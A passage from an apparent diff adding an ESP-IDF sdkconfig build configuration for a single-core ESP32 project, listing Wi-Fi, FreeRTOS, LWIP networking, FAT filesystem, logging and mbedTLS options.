CONFIG_ESP_NETIF_RECEIVE_REPORT_ERRORS is not set +# CONFIG_ESP_NETIF_L2_TAP is not set +# CONFIG_ESP_NETIF_BRIDGE_EN is not set +# end of ESP NETIF Adapter + +# +# Partition API Configuration +# +# end of Partition API Configuration + +# +# PHY +# +CONFIG_ESP_PHY_ENABLED=y +CONFIG_ESP_PHY_CALIBRATION_AND_DATA_STORAGE=y +# CONFIG_ESP_PHY_INIT_DATA_IN_PARTITION is not set +CONFIG_ESP_PHY_MAX_WIFI_TX_POWER=20 +CONFIG_ESP_PHY_MAX_TX_POWER=20 +# CONFIG_ESP_PHY_REDUCE_TX_POWER is not set +CONFIG_ESP_PHY_RF_CAL_PARTIAL=y +# CONFIG_ESP_PHY_RF_CAL_NONE is not set +# CONFIG_ESP_PHY_RF_CAL_FULL is not set +CONFIG_ESP_PHY_CALIBRATION_MODE=0 +# CONFIG_ESP_PHY_PLL_TRACK_DEBUG is not set +# end of PHY + +# +# Power Management +# +# CONFIG_PM_ENABLE is not set +CONFIG_PM_SLP_DEFAULT_PARAMS_OPT=y +# end of Power Management + +# +# ESP PSRAM +# +# CONFIG_SPIRAM is not set +# end of ESP PSRAM + +# +# ESP Ringbuf +# +# CONFIG_RINGBUF_PLACE_FUNCTIONS_INTO_FLASH is not set +# end of ESP Ringbuf + +# +# ESP System Settings +# +# CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_80 is not set +CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_160=y +# CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240 is not set +CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ=160 + +# +# Memory +# +# CONFIG_ESP32_RTCDATA_IN_FAST_MEM is not set +# CONFIG_ESP32_USE_FIXED_STATIC_RAM_SIZE is not set +# CONFIG_ESP32_IRAM_AS_8BIT_ACCESSIBLE_MEMORY is not set + +# +# Non-backward compatible options +# +# CONFIG_ESP_SYSTEM_ESP32_SRAM1_REGION_AS_IRAM is not set +# end of Non-backward compatible options +# end of Memory + +# +# Trace memory +# +# CONFIG_ESP32_TRAX is not set +CONFIG_ESP32_TRACEMEM_RESERVE_DRAM=0x0 +# end of Trace memory + +# CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT is not set +CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT=y +# CONFIG_ESP_SYSTEM_PANIC_SILENT_REBOOT is not set +# CONFIG_ESP_SYSTEM_PANIC_GDBSTUB is not set +CONFIG_ESP_SYSTEM_PANIC_REBOOT_DELAY_SECONDS=0 +CONFIG_ESP_SYSTEM_SINGLE_CORE_MODE=y +CONFIG_ESP_SYSTEM_RTC_FAST_MEM_AS_HEAP_DEPCHECK=y +CONFIG_ESP_SYSTEM_ALLOW_RTC_FAST_MEM_AS_HEAP=y + +# +# Memory protection +# +# end of Memory protection + +CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE=32 +CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=2304 +CONFIG_ESP_MAIN_TASK_STACK_SIZE=3584 +CONFIG_ESP_MAIN_TASK_AFFINITY_CPU0=y +# CONFIG_ESP_MAIN_TASK_AFFINITY_NO_AFFINITY is not set +CONFIG_ESP_MAIN_TASK_AFFINITY=0x0 +CONFIG_ESP_MINIMAL_SHARED_STACK_SIZE=2048 +CONFIG_ESP_CONSOLE_UART_DEFAULT=y +# CONFIG_ESP_CONSOLE_UART_CUSTOM is not set +# CONFIG_ESP_CONSOLE_NONE is not set +CONFIG_ESP_CONSOLE_UART=y +CONFIG_ESP_CONSOLE_UART_NUM=0 +CONFIG_ESP_CONSOLE_ROM_SERIAL_PORT_NUM=0 +CONFIG_ESP_CONSOLE_UART_BAUDRATE=115200 +CONFIG_ESP_INT_WDT=y +CONFIG_ESP_INT_WDT_TIMEOUT_MS=300 +CONFIG_ESP_TASK_WDT_EN=y +CONFIG_ESP_TASK_WDT_INIT=y +# CONFIG_ESP_TASK_WDT_PANIC is not set +CONFIG_ESP_TASK_WDT_TIMEOUT_S=5 +CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0=y +# CONFIG_ESP_PANIC_HANDLER_IRAM is not set +# CONFIG_ESP_DEBUG_STUBS_ENABLE is not set +CONFIG_ESP_DEBUG_OCDAWARE=y +CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_5=y + +# +# Brownout Detector +# +CONFIG_ESP_BROWNOUT_DET=y +# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_0 is not set +# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_1 is not set +# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_2 is not set +# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_3 is not set +# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_4 is not set +# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_5 is not set +# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_6 is not set +CONFIG_ESP_BROWNOUT_DET_LVL_SEL_7=y +CONFIG_ESP_BROWNOUT_DET_LVL=7 +# end of Brownout Detector + +# CONFIG_ESP32_DISABLE_BASIC_ROM_CONSOLE is not set +CONFIG_ESP_SYSTEM_BROWNOUT_INTR=y +# end of ESP System Settings + +# +# IPC (Inter-Processor Call) +# +CONFIG_ESP_IPC_TASK_STACK_SIZE=1024 +# end of IPC (Inter-Processor Call) + +# +# ESP Timer (High Resolution Timer) +# +# CONFIG_ESP_TIMER_PROFILING is not set +CONFIG_ESP_TIME_FUNCS_USE_RTC_TIMER=y +CONFIG_ESP_TIME_FUNCS_USE_ESP_TIMER=y +CONFIG_ESP_TIMER_TASK_STACK_SIZE=3584 +CONFIG_ESP_TIMER_INTERRUPT_LEVEL=1 +# CONFIG_ESP_TIMER_SHOW_EXPERIMENTAL is not set +CONFIG_ESP_TIMER_TASK_AFFINITY=0x0 +CONFIG_ESP_TIMER_TASK_AFFINITY_CPU0=y +CONFIG_ESP_TIMER_ISR_AFFINITY_CPU0=y +# CONFIG_ESP_TIMER_SUPPORTS_ISR_DISPATCH_METHOD is not set +CONFIG_ESP_TIMER_IMPL_TG0_LAC=y +# end of ESP Timer (High Resolution Timer) + +# +# Wi-Fi +# +CONFIG_ESP_WIFI_ENABLED=y +CONFIG_ESP_WIFI_STATIC_RX_BUFFER_NUM=10 +CONFIG_ESP_WIFI_DYNAMIC_RX_BUFFER_NUM=32 +# CONFIG_ESP_WIFI_STATIC_TX_BUFFER is not set +CONFIG_ESP_WIFI_DYNAMIC_TX_BUFFER=y +CONFIG_ESP_WIFI_TX_BUFFER_TYPE=1 +CONFIG_ESP_WIFI_DYNAMIC_TX_BUFFER_NUM=32 +CONFIG_ESP_WIFI_STATIC_RX_MGMT_BUFFER=y +# CONFIG_ESP_WIFI_DYNAMIC_RX_MGMT_BUFFER is not set +CONFIG_ESP_WIFI_DYNAMIC_RX_MGMT_BUF=0 +CONFIG_ESP_WIFI_RX_MGMT_BUF_NUM_DEF=5 +# CONFIG_ESP_WIFI_CSI_ENABLED is not set +CONFIG_ESP_WIFI_AMPDU_TX_ENABLED=y +CONFIG_ESP_WIFI_TX_BA_WIN=6 +CONFIG_ESP_WIFI_AMPDU_RX_ENABLED=y +CONFIG_ESP_WIFI_RX_BA_WIN=6 +CONFIG_ESP_WIFI_NVS_ENABLED=y +CONFIG_ESP_WIFI_SOFTAP_BEACON_MAX_LEN=752 +CONFIG_ESP_WIFI_MGMT_SBUF_NUM=32 +CONFIG_ESP_WIFI_IRAM_OPT=y +CONFIG_ESP_WIFI_EXTRA_IRAM_OPT=y +CONFIG_ESP_WIFI_RX_IRAM_OPT=y +CONFIG_ESP_WIFI_ENABLE_WPA3_SAE=y +CONFIG_ESP_WIFI_ENABLE_SAE_PK=y +CONFIG_ESP_WIFI_SOFTAP_SAE_SUPPORT=y +CONFIG_ESP_WIFI_ENABLE_WPA3_OWE_STA=y +CONFIG_ESP_WIFI_SLP_IRAM_OPT=y +CONFIG_ESP_WIFI_SLP_DEFAULT_MIN_ACTIVE_TIME=50 +CONFIG_ESP_WIFI_SLP_DEFAULT_MAX_ACTIVE_TIME=10 +CONFIG_ESP_WIFI_SLP_DEFAULT_WAIT_BROADCAST_DATA_TIME=15 +CONFIG_ESP_WIFI_STA_DISCONNECTED_PM_ENABLE=y +CONFIG_ESP_WIFI_GMAC_SUPPORT=y +CONFIG_ESP_WIFI_SOFTAP_SUPPORT=y +# CONFIG_ESP_WIFI_SLP_BEACON_LOST_OPT is not set +CONFIG_ESP_WIFI_ESPNOW_MAX_ENCRYPT_NUM=7 +# CONFIG_ESP_WIFI_NAN_ENABLE is not set +CONFIG_ESP_WIFI_MBEDTLS_CRYPTO=y +CONFIG_ESP_WIFI_MBEDTLS_TLS_CLIENT=y +# CONFIG_ESP_WIFI_WAPI_PSK is not set +# CONFIG_ESP_WIFI_11KV_SUPPORT is not set +# CONFIG_ESP_WIFI_MBO_SUPPORT is not set +# CONFIG_ESP_WIFI_DPP_SUPPORT is not set +# CONFIG_ESP_WIFI_11R_SUPPORT is not set +# CONFIG_ESP_WIFI_WPS_SOFTAP_REGISTRAR is not set + +# +# WPS Configuration Options +# +# CONFIG_ESP_WIFI_WPS_STRICT is not set +# CONFIG_ESP_WIFI_WPS_PASSPHRASE is not set +# end of WPS Configuration Options + +# CONFIG_ESP_WIFI_DEBUG_PRINT is not set +# CONFIG_ESP_WIFI_TESTING_OPTIONS is not set +CONFIG_ESP_WIFI_ENTERPRISE_SUPPORT=y +# CONFIG_ESP_WIFI_ENT_FREE_DYNAMIC_BUFFER is not set +# end of Wi-Fi + +# +# Core dump +# +# CONFIG_ESP_COREDUMP_ENABLE_TO_FLASH is not set +# CONFIG_ESP_COREDUMP_ENABLE_TO_UART is not set +CONFIG_ESP_COREDUMP_ENABLE_TO_NONE=y +# end of Core dump + +# +# FAT Filesystem support +# +CONFIG_FATFS_VOLUME_COUNT=2 +# CONFIG_FATFS_LFN_NONE is not set +CONFIG_FATFS_LFN_HEAP=y +# CONFIG_FATFS_LFN_STACK is not set +# CONFIG_FATFS_SECTOR_512 is not set +CONFIG_FATFS_SECTOR_4096=y +# CONFIG_FATFS_CODEPAGE_DYNAMIC is not set +CONFIG_FATFS_CODEPAGE_437=y +# CONFIG_FATFS_CODEPAGE_720 is not set +# CONFIG_FATFS_CODEPAGE_737 is not set +# CONFIG_FATFS_CODEPAGE_771 is not set +# CONFIG_FATFS_CODEPAGE_775 is not set +# CONFIG_FATFS_CODEPAGE_850 is not set +# CONFIG_FATFS_CODEPAGE_852 is not set +# CONFIG_FATFS_CODEPAGE_855 is not set +# CONFIG_FATFS_CODEPAGE_857 is not set +# CONFIG_FATFS_CODEPAGE_860 is not set +# CONFIG_FATFS_CODEPAGE_861 is not set +# CONFIG_FATFS_CODEPAGE_862 is not set +# CONFIG_FATFS_CODEPAGE_863 is not set +# CONFIG_FATFS_CODEPAGE_864 is not set +# CONFIG_FATFS_CODEPAGE_865 is not set +# CONFIG_FATFS_CODEPAGE_866 is not set +# CONFIG_FATFS_CODEPAGE_869 is not set +# CONFIG_FATFS_CODEPAGE_932 is not set +# CONFIG_FATFS_CODEPAGE_936 is not set +# CONFIG_FATFS_CODEPAGE_949 is not set +# CONFIG_FATFS_CODEPAGE_950 is not set +CONFIG_FATFS_CODEPAGE=437 +CONFIG_FATFS_MAX_LFN=255 +CONFIG_FATFS_API_ENCODING_ANSI_OEM=y +# CONFIG_FATFS_API_ENCODING_UTF_8 is not set +CONFIG_FATFS_FS_LOCK=0 +CONFIG_FATFS_TIMEOUT_MS=10000 +CONFIG_FATFS_PER_FILE_CACHE=y +# CONFIG_FATFS_USE_FASTSEEK is not set +CONFIG_FATFS_VFS_FSTAT_BLKSIZE=0 +# CONFIG_FATFS_IMMEDIATE_FSYNC is not set +# CONFIG_FATFS_USE_LABEL is not set +CONFIG_FATFS_LINK_LOCK=y +# end of FAT Filesystem support + +# +# FreeRTOS +# + +# +# Kernel +# +# CONFIG_FREERTOS_SMP is not set +CONFIG_FREERTOS_UNICORE=y +CONFIG_FREERTOS_HZ=100 +CONFIG_FREERTOS_OPTIMIZED_SCHEDULER=y +# CONFIG_FREERTOS_CHECK_STACKOVERFLOW_NONE is not set +# CONFIG_FREERTOS_CHECK_STACKOVERFLOW_PTRVAL is not set +CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY=y +CONFIG_FREERTOS_THREAD_LOCAL_STORAGE_POINTERS=1 +CONFIG_FREERTOS_IDLE_TASK_STACKSIZE=1536 +# CONFIG_FREERTOS_USE_IDLE_HOOK is not set +# CONFIG_FREERTOS_USE_TICK_HOOK is not set +CONFIG_FREERTOS_MAX_TASK_NAME_LEN=16 +# CONFIG_FREERTOS_ENABLE_BACKWARD_COMPATIBILITY is not set +CONFIG_FREERTOS_TIMER_SERVICE_TASK_NAME="Tmr Svc" +# CONFIG_FREERTOS_TIMER_TASK_AFFINITY_CPU0 is not set +CONFIG_FREERTOS_TIMER_TASK_NO_AFFINITY=y +CONFIG_FREERTOS_TIMER_SERVICE_TASK_CORE_AFFINITY=0x7FFFFFFF +CONFIG_FREERTOS_TIMER_TASK_PRIORITY=1 +CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH=2048 +CONFIG_FREERTOS_TIMER_QUEUE_LENGTH=10 +CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE=0 +CONFIG_FREERTOS_TASK_NOTIFICATION_ARRAY_ENTRIES=1 +# CONFIG_FREERTOS_USE_TRACE_FACILITY is not set +# CONFIG_FREERTOS_USE_LIST_DATA_INTEGRITY_CHECK_BYTES is not set +# CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS is not set +# CONFIG_FREERTOS_USE_APPLICATION_TASK_TAG is not set +# end of Kernel + +# +# Port +# +# CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK is not set +CONFIG_FREERTOS_TLSP_DELETION_CALLBACKS=y +# CONFIG_FREERTOS_TASK_PRE_DELETION_HOOK is not set +# CONFIG_FREERTOS_ENABLE_STATIC_TASK_CLEAN_UP is not set +CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER=y +CONFIG_FREERTOS_ISR_STACKSIZE=1536 +CONFIG_FREERTOS_INTERRUPT_BACKTRACE=y +# CONFIG_FREERTOS_FPU_IN_ISR is not set +CONFIG_FREERTOS_TICK_SUPPORT_CORETIMER=y +CONFIG_FREERTOS_CORETIMER_0=y +# CONFIG_FREERTOS_CORETIMER_1 is not set +CONFIG_FREERTOS_SYSTICK_USES_CCOUNT=y +CONFIG_FREERTOS_PLACE_FUNCTIONS_INTO_FLASH=y +# CONFIG_FREERTOS_CHECK_PORT_CRITICAL_COMPLIANCE is not set +# end of Port + +CONFIG_FREERTOS_PORT=y +CONFIG_FREERTOS_NO_AFFINITY=0x7FFFFFFF +CONFIG_FREERTOS_SUPPORT_STATIC_ALLOCATION=y +CONFIG_FREERTOS_DEBUG_OCDAWARE=y +CONFIG_FREERTOS_ENABLE_TASK_SNAPSHOT=y +CONFIG_FREERTOS_PLACE_SNAPSHOT_FUNS_INTO_FLASH=y +CONFIG_FREERTOS_NUMBER_OF_CORES=1 +# end of FreeRTOS + +# +# Hardware Abstraction Layer (HAL) and Low Level (LL) +# +CONFIG_HAL_ASSERTION_EQUALS_SYSTEM=y +# CONFIG_HAL_ASSERTION_DISABLE is not set +# CONFIG_HAL_ASSERTION_SILENT is not set +# CONFIG_HAL_ASSERTION_ENABLE is not set +CONFIG_HAL_DEFAULT_ASSERTION_LEVEL=2 +CONFIG_HAL_SPI_MASTER_FUNC_IN_IRAM=y +CONFIG_HAL_SPI_SLAVE_FUNC_IN_IRAM=y +# end of Hardware Abstraction Layer (HAL) and Low Level (LL) + +# +# Heap memory debugging +# +CONFIG_HEAP_POISONING_DISABLED=y +# CONFIG_HEAP_POISONING_LIGHT is not set +# CONFIG_HEAP_POISONING_COMPREHENSIVE is not set +CONFIG_HEAP_TRACING_OFF=y +# CONFIG_HEAP_TRACING_STANDALONE is not set +# CONFIG_HEAP_TRACING_TOHOST is not set +# CONFIG_HEAP_USE_HOOKS is not set +# CONFIG_HEAP_TASK_TRACKING is not set +# CONFIG_HEAP_ABORT_WHEN_ALLOCATION_FAILS is not set +# CONFIG_HEAP_PLACE_FUNCTION_INTO_FLASH is not set +# end of Heap memory debugging + +# +# Log output +# +# CONFIG_LOG_DEFAULT_LEVEL_NONE is not set +# CONFIG_LOG_DEFAULT_LEVEL_ERROR is not set +CONFIG_LOG_DEFAULT_LEVEL_WARN=y +# CONFIG_LOG_DEFAULT_LEVEL_INFO is not set +# CONFIG_LOG_DEFAULT_LEVEL_DEBUG is not set +# CONFIG_LOG_DEFAULT_LEVEL_VERBOSE is not set +CONFIG_LOG_DEFAULT_LEVEL=2 +CONFIG_LOG_MAXIMUM_EQUALS_DEFAULT=y +# CONFIG_LOG_MAXIMUM_LEVEL_INFO is not set +# CONFIG_LOG_MAXIMUM_LEVEL_DEBUG is not set +# CONFIG_LOG_MAXIMUM_LEVEL_VERBOSE is not set +CONFIG_LOG_MAXIMUM_LEVEL=2 +# CONFIG_LOG_MASTER_LEVEL is not set +CONFIG_LOG_COLORS=y +CONFIG_LOG_TIMESTAMP_SOURCE_RTOS=y +# CONFIG_LOG_TIMESTAMP_SOURCE_SYSTEM is not set +# end of Log output + +# +# LWIP +# +CONFIG_LWIP_ENABLE=y +CONFIG_LWIP_LOCAL_HOSTNAME="espressif" +# CONFIG_LWIP_NETIF_API is not set +CONFIG_LWIP_TCPIP_TASK_PRIO=18 +# CONFIG_LWIP_TCPIP_CORE_LOCKING is not set +# CONFIG_LWIP_CHECK_THREAD_SAFETY is not set +CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y +# CONFIG_LWIP_L2_TO_L3_COPY is not set +# CONFIG_LWIP_IRAM_OPTIMIZATION is not set +# CONFIG_LWIP_EXTRA_IRAM_OPTIMIZATION is not set +CONFIG_LWIP_TIMERS_ONDEMAND=y +CONFIG_LWIP_ND6=y +# CONFIG_LWIP_FORCE_ROUTER_FORWARDING is not set +CONFIG_LWIP_MAX_SOCKETS=10 +# CONFIG_LWIP_USE_ONLY_LWIP_SELECT is not set +# CONFIG_LWIP_SO_LINGER is not set +CONFIG_LWIP_SO_REUSE=y +CONFIG_LWIP_SO_REUSE_RXTOALL=y +# CONFIG_LWIP_SO_RCVBUF is not set +# CONFIG_LWIP_NETBUF_RECVINFO is not set +CONFIG_LWIP_IP_DEFAULT_TTL=64 +CONFIG_LWIP_IP4_FRAG=y +CONFIG_LWIP_IP6_FRAG=y +# CONFIG_LWIP_IP4_REASSEMBLY is not set +# CONFIG_LWIP_IP6_REASSEMBLY is not set +CONFIG_LWIP_IP_REASS_MAX_PBUFS=10 +# CONFIG_LWIP_IP_FORWARD is not set +# CONFIG_LWIP_STATS is not set +CONFIG_LWIP_ESP_GRATUITOUS_ARP=y +CONFIG_LWIP_GARP_TMR_INTERVAL=60 +CONFIG_LWIP_ESP_MLDV6_REPORT=y +CONFIG_LWIP_MLDV6_TMR_INTERVAL=40 +CONFIG_LWIP_TCPIP_RECVMBOX_SIZE=32 +CONFIG_LWIP_DHCP_DOES_ARP_CHECK=y +# CONFIG_LWIP_DHCP_DISABLE_CLIENT_ID is not set +CONFIG_LWIP_DHCP_DISABLE_VENDOR_CLASS_ID=y +# CONFIG_LWIP_DHCP_RESTORE_LAST_IP is not set +CONFIG_LWIP_DHCP_OPTIONS_LEN=68 +CONFIG_LWIP_NUM_NETIF_CLIENT_DATA=0 +CONFIG_LWIP_DHCP_COARSE_TIMER_SECS=1 + +# +# DHCP server +# +CONFIG_LWIP_DHCPS=y +CONFIG_LWIP_DHCPS_LEASE_UNIT=60 +CONFIG_LWIP_DHCPS_MAX_STATION_NUM=8 +CONFIG_LWIP_DHCPS_STATIC_ENTRIES=y +# end of DHCP server + +# CONFIG_LWIP_AUTOIP is not set +CONFIG_LWIP_IPV4=y +CONFIG_LWIP_IPV6=y +# CONFIG_LWIP_IPV6_AUTOCONFIG is not set +CONFIG_LWIP_IPV6_NUM_ADDRESSES=3 +# CONFIG_LWIP_IPV6_FORWARD is not set +# CONFIG_LWIP_NETIF_STATUS_CALLBACK is not set +CONFIG_LWIP_NETIF_LOOPBACK=y +CONFIG_LWIP_LOOPBACK_MAX_PBUFS=8 + +# +# TCP +# +CONFIG_LWIP_MAX_ACTIVE_TCP=16 +CONFIG_LWIP_MAX_LISTENING_TCP=16 +CONFIG_LWIP_TCP_HIGH_SPEED_RETRANSMISSION=y +CONFIG_LWIP_TCP_MAXRTX=12 +CONFIG_LWIP_TCP_SYNMAXRTX=12 +CONFIG_LWIP_TCP_MSS=1440 +CONFIG_LWIP_TCP_TMR_INTERVAL=250 +CONFIG_LWIP_TCP_MSL=60000 +CONFIG_LWIP_TCP_FIN_WAIT_TIMEOUT=20000 +CONFIG_LWIP_TCP_SND_BUF_DEFAULT=5760 +CONFIG_LWIP_TCP_WND_DEFAULT=5760 +CONFIG_LWIP_TCP_RECVMBOX_SIZE=6 +CONFIG_LWIP_TCP_ACCEPTMBOX_SIZE=6 +CONFIG_LWIP_TCP_QUEUE_OOSEQ=y +CONFIG_LWIP_TCP_OOSEQ_TIMEOUT=6 +CONFIG_LWIP_TCP_OOSEQ_MAX_PBUFS=4 +# CONFIG_LWIP_TCP_SACK_OUT is not set +CONFIG_LWIP_TCP_OVERSIZE_MSS=y +# CONFIG_LWIP_TCP_OVERSIZE_QUARTER_MSS is not set +# CONFIG_LWIP_TCP_OVERSIZE_DISABLE is not set +CONFIG_LWIP_TCP_RTO_TIME=1500 +# end of TCP + +# +# UDP +# +CONFIG_LWIP_MAX_UDP_PCBS=16 +CONFIG_LWIP_UDP_RECVMBOX_SIZE=6 +# end of UDP + +# +# Checksums +# +# CONFIG_LWIP_CHECKSUM_CHECK_IP is not set +# CONFIG_LWIP_CHECKSUM_CHECK_UDP is not set +CONFIG_LWIP_CHECKSUM_CHECK_ICMP=y +# end of Checksums + +CONFIG_LWIP_TCPIP_TASK_STACK_SIZE=3072 +CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY=y +# CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU0 is not set +CONFIG_LWIP_TCPIP_TASK_AFFINITY=0x7FFFFFFF +# CONFIG_LWIP_PPP_SUPPORT is not set +CONFIG_LWIP_IPV6_MEMP_NUM_ND6_QUEUE=3 +CONFIG_LWIP_IPV6_ND6_NUM_NEIGHBORS=5 +# CONFIG_LWIP_SLIP_SUPPORT is not set + +# +# ICMP +# +CONFIG_LWIP_ICMP=y +# CONFIG_LWIP_MULTICAST_PING is not set +# CONFIG_LWIP_BROADCAST_PING is not set +# end of ICMP + +# +# LWIP RAW API +# +CONFIG_LWIP_MAX_RAW_PCBS=16 +# end of LWIP RAW API + +# +# SNTP +# +CONFIG_LWIP_SNTP_MAX_SERVERS=1 +# CONFIG_LWIP_DHCP_GET_NTP_SRV is not set +CONFIG_LWIP_SNTP_UPDATE_DELAY=3600000 +CONFIG_LWIP_SNTP_STARTUP_DELAY=y +CONFIG_LWIP_SNTP_MAXIMUM_STARTUP_DELAY=5000 +# end of SNTP + +# +# DNS +# +CONFIG_LWIP_DNS_MAX_SERVERS=3 +# CONFIG_LWIP_FALLBACK_DNS_SERVER_SUPPORT is not set +# end of DNS + +CONFIG_LWIP_BRIDGEIF_MAX_PORTS=7 +CONFIG_LWIP_ESP_LWIP_ASSERT=y + +# +# Hooks +# +# CONFIG_LWIP_HOOK_TCP_ISN_NONE is not set +CONFIG_LWIP_HOOK_TCP_ISN_DEFAULT=y +# CONFIG_LWIP_HOOK_TCP_ISN_CUSTOM is not set +CONFIG_LWIP_HOOK_IP6_ROUTE_NONE=y +# CONFIG_LWIP_HOOK_IP6_ROUTE_DEFAULT is not set +# CONFIG_LWIP_HOOK_IP6_ROUTE_CUSTOM is not set +CONFIG_LWIP_HOOK_ND6_GET_GW_NONE=y +# CONFIG_LWIP_HOOK_ND6_GET_GW_DEFAULT is not set +# CONFIG_LWIP_HOOK_ND6_GET_GW_CUSTOM is not set +CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_NONE=y +# CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_DEFAULT is not set +# CONFIG_LWIP_HOOK_IP6_SELECT_SRC_ADDR_CUSTOM is not set +CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_NONE=y +# CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_DEFAULT is not set +# CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_CUSTOM is not set +CONFIG_LWIP_HOOK_IP6_INPUT_NONE=y +# CONFIG_LWIP_HOOK_IP6_INPUT_DEFAULT is not set +# CONFIG_LWIP_HOOK_IP6_INPUT_CUSTOM is not set +# end of Hooks + +# CONFIG_LWIP_DEBUG is not set +# end of LWIP + +# +# mbedTLS +# +CONFIG_MBEDTLS_INTERNAL_MEM_ALLOC=y +# CONFIG_MBEDTLS_DEFAULT_MEM_ALLOC is not set +# CONFIG_MBEDTLS_CUSTOM_MEM_ALLOC is not set +CONFIG_MBEDTLS_ASYMMETRIC_CONTENT_LEN=y +CONFIG_MBEDTLS_SSL_IN_CONTENT_LEN=16384 +CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN=4096 +# CONFIG_MBEDTLS_DYNAMIC_BUFFER is not set +# CONFIG_MBEDTLS_DEBUG is not set + +# +# mbedTLS v3.x related +# +# CONFIG_MBEDTLS_SSL_PROTO_TLS1_3 is not set +# CONFIG_MBEDTLS_SSL_VARIABLE_BUFFER_LENGTH is not set +# CONFIG_MBEDTLS_X509_TRUSTED_CERT_CALLBACK is not set +# CONFIG_MBEDTLS_SSL_CONTEXT_SERIALIZATION is not set +CONFIG_MBEDTLS_SSL_KEEP_PEER_CERTIFICATE=y +CONFIG_MBEDTLS_PKCS7_C=y +# end of mbedTLS v3.x related + +# +# Certificate Bundle +# +CONFIG_MBEDTLS_CERTIFICATE_BUNDLE=y +CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL=y +# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_CMN is not set +# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_NONE is not set +# CONFIG_MBEDTLS_CUSTOM_CERTIFICATE_BUNDLE is not set +# CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEPRECATED_LIST is not set +CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_MAX_CERTS=200 +# end of Certificate Bundle + +# CONFIG_MBEDTLS_ECP_RESTARTABLE is not set +CONFIG_MBEDTLS_CMAC_C=y +CONFIG_MBEDTLS_HARDWARE_AES=y +CONFIG_MBEDTLS_GCM_SUPPORT_NON_AES_CIPHER=y +CONFIG_MBEDTLS_HARDWARE_MPI=y +CONFIG_MBEDTLS_LARGE_KEY_SOFTWARE_MPI=y +CONFIG_MBEDTLS_HARDWARE_SHA=y +CONFIG_MBEDTLS_ROM_MD5=y +# CONFIG_MBEDTLS_ATCA_HW_ECDSA_SIGN is not set +# CONFIG_MBEDTLS_ATCA_HW_ECDSA_VERIFY is not set +CONFIG_MBEDTLS_HAVE_TIME=y +# CONFIG_MBEDTLS_PLATFORM_TIME_ALT is not set +# CONFIG_MBEDTLS_HAVE_TIME_DATE is not set +CONFIG_MBEDTLS_ECDSA_DETERMINISTIC=y +CONFIG_MBEDTLS_SHA512_C=y +CONFIG_MBEDTLS_TLS_SERVER_AND_CLIENT=y +# CONFIG_MBEDTLS_TLS_SERVER_ONLY is not set +# CONFIG_MBEDTLS_TLS_CLIENT_ONLY is not set +# CONFIG_MBEDTLS_TLS_DISABLED is not set +CONFIG_MBEDTLS_TLS_SERVER=y +CONFIG_MBEDTLS_TLS_CLIENT=y +CONFIG_MBEDTLS_TLS_ENABLED=y + +# +# TLS Key Exchange Methods +# +# CONFIG_MBEDTLS_PSK_MODES is not set +CONFIG_MBEDTLS_KEY_EXCHANGE_RSA=y +CONFIG_MBEDTLS_KEY_EXCHANGE_ELLIPTIC_CURVE=y +CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_RSA=y +CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA=y +CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA=y +CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_RSA=y +# end of TLS Key Exchange Methods + +CONFIG_MBEDTLS_SSL_RENEGOTIATION=y +CONFIG_MBEDTLS_SSL_PROTO_TLS1_2=y +# CONFIG_MBEDTLS_SSL_PROTO_GMTSSL1_1 is not set +# CONFIG_MBEDTLS_SSL_PROTO_DTLS is not set +CONFIG_MBEDTLS_SSL_ALPN=y +CONFIG_MBEDTLS_CLIENT_SSL_SESSION_TICKETS=y +CONFIG_MBEDTLS_SERVER_SSL_SESSION_TICKETS=y + +# +# Symmetric Ciphers +# +CONFIG_MBEDTLS_AES_C=y +# CONFIG_MBEDTLS_CAMELLIA_C is not set +# CONFIG_MBEDTLS_DES_C is not set +# CONFIG_MBEDTLS_BLOWFISH_C is not set +# CONFIG_MBEDTLS_XTEA_C is not set +CONFIG_MBEDTLS_CCM_C=y +CONFIG_MBEDTLS_GCM_C=y +# CONFIG_MBEDTLS_NIST_KW_C is not set +# end of Symmetric Ciphers + +# CONFIG_MBEDTLS_RIPEMD160_C is not set + +# +# Certificates +# +CONFIG_MBEDTLS_PEM_PARSE_C=y +CONFIG_MBEDTLS_PEM_WRITE_C=y +CONFIG_MBEDTLS_X509_CRL_PARSE_C=y +CONFIG_MBEDTLS_X509_CSR_PARSE_C=y +# end of Certificates + 